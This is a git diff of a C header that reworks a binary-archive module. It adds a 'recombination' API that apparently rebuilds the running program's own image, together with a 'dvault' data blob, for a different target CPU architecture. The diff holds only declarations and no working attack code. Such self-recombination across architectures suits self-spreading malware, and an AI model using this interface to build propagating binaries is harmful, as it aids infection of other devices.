diff options
Diffstat (limited to 'src/pack.h')
-rw-r--r-- | src/pack.h | 80 |
1 files changed, 41 insertions, 39 deletions
@@ -4,67 +4,69 @@ #include "protocol.h" -struct prne_bin_tuple; -struct prne_bin_archive; -struct prne_pack_ret; -struct prne_unpack_ctx; +#include <zlib.h> + + typedef struct prne_bin_tuple prne_bin_tuple_t; typedef struct prne_bin_archive prne_bin_archive_t; -typedef struct prne_pack_ret prne_pack_ret_t; -typedef struct prne_unpack_ctx* prne_unpack_ctx_pt; +typedef struct prne_bin_rcb_ctx prne_bin_rcb_ctx_t; typedef enum { PRNE_PACK_RC_OK, + PRNE_PACK_RC_EOF, + PRNE_PACK_RC_INVAL, PRNE_PACK_RC_FMT_ERR, PRNE_PACK_RC_ERRNO, PRNE_PACK_RC_Z_ERR, - PRNE_PACK_RC_MBEDTLS_ERR, - PRNE_PACK_RC_NO_BIN, + PRNE_PACK_RC_NO_ARCH } prne_pack_rc_t; struct prne_bin_tuple { - prne_arch_t arch; - size_t offset; size_t size; + prne_arch_t arch; }; struct prne_bin_archive { - uint8_t *data; + const uint8_t *data; size_t data_size; size_t nb_bin; prne_bin_tuple_t *bin; }; -struct prne_pack_ret { - prne_pack_rc_t rc; - int err; -}; - -struct prne_stdin_base64_rf_ctx; -typedef struct prne_stdin_base64_rf_ctx prne_stdin_base64_rf_ctx_t; - -struct prne_stdin_base64_rf_ctx { - size_t line_len; - size_t out_len; - char line_buf[78]; - uint8_t out_buf[58]; +// Recombination Context +struct prne_bin_rcb_ctx { + void *o_ctx; + void (*ctx_free_f)(void*); + ssize_t(*read_f)( + prne_bin_rcb_ctx_t *ctx, + uint8_t *buf, + size_t len, + prne_pack_rc_t *prc, + int *err); }; - -typedef prne_pack_ret_t(*prne_bin_archive_read_ft)(void *ctx, const size_t req, uint8_t *out, size_t *out_len); - - void prne_init_bin_archive (prne_bin_archive_t *a); void prne_free_bin_archive (prne_bin_archive_t *a); -prne_pack_ret_t prne_index_bin_archive (void *rf_ctx, prne_bin_archive_read_ft rf, prne_bin_archive_t *out); - -prne_unpack_ctx_pt prne_alloc_unpack_ctx (const prne_bin_archive_t *archive, const prne_arch_t arch, prne_pack_ret_t *pr_out); -void prne_free_unpack_ctx (prne_unpack_ctx_pt ctx); -ssize_t prne_do_unpack (prne_unpack_ctx_pt ctx, uint8_t *out, const size_t out_len, prne_pack_ret_t *pr_out); - -// WARN: uses stdio func -char *prne_pack_ret_tostr (const prne_pack_ret_t pr); +prne_pack_rc_t prne_index_bin_archive ( + const uint8_t *data, + size_t len, + prne_bin_archive_t *out); -void prne_init_stdin_base64_rf_ctx (prne_stdin_base64_rf_ctx_t *ctx); -void prne_free_stdin_base64_rf_ctx (prne_stdin_base64_rf_ctx_t *ctx); -prne_pack_ret_t prne_stdin_base64_rf (void *ctx, const size_t req, uint8_t *out, size_t *out_len); +void prne_init_bin_rcb_ctx (prne_bin_rcb_ctx_t *ctx); +void prne_free_bin_rcb_ctx (prne_bin_rcb_ctx_t *ctx); +prne_pack_rc_t prne_start_bin_rcb ( + prne_bin_rcb_ctx_t *ctx, + const prne_arch_t target, + const prne_arch_t self, + const uint8_t *m_self, + const size_t self_len, + const size_t exec_len, + const uint8_t *m_dvault, + const size_t dvault_len, + const prne_bin_archive_t *ba); +ssize_t prne_bin_rcb_read ( + prne_bin_rcb_ctx_t *ctx, + uint8_t *buf, + size_t len, + prne_pack_rc_t *prc, + int *err); |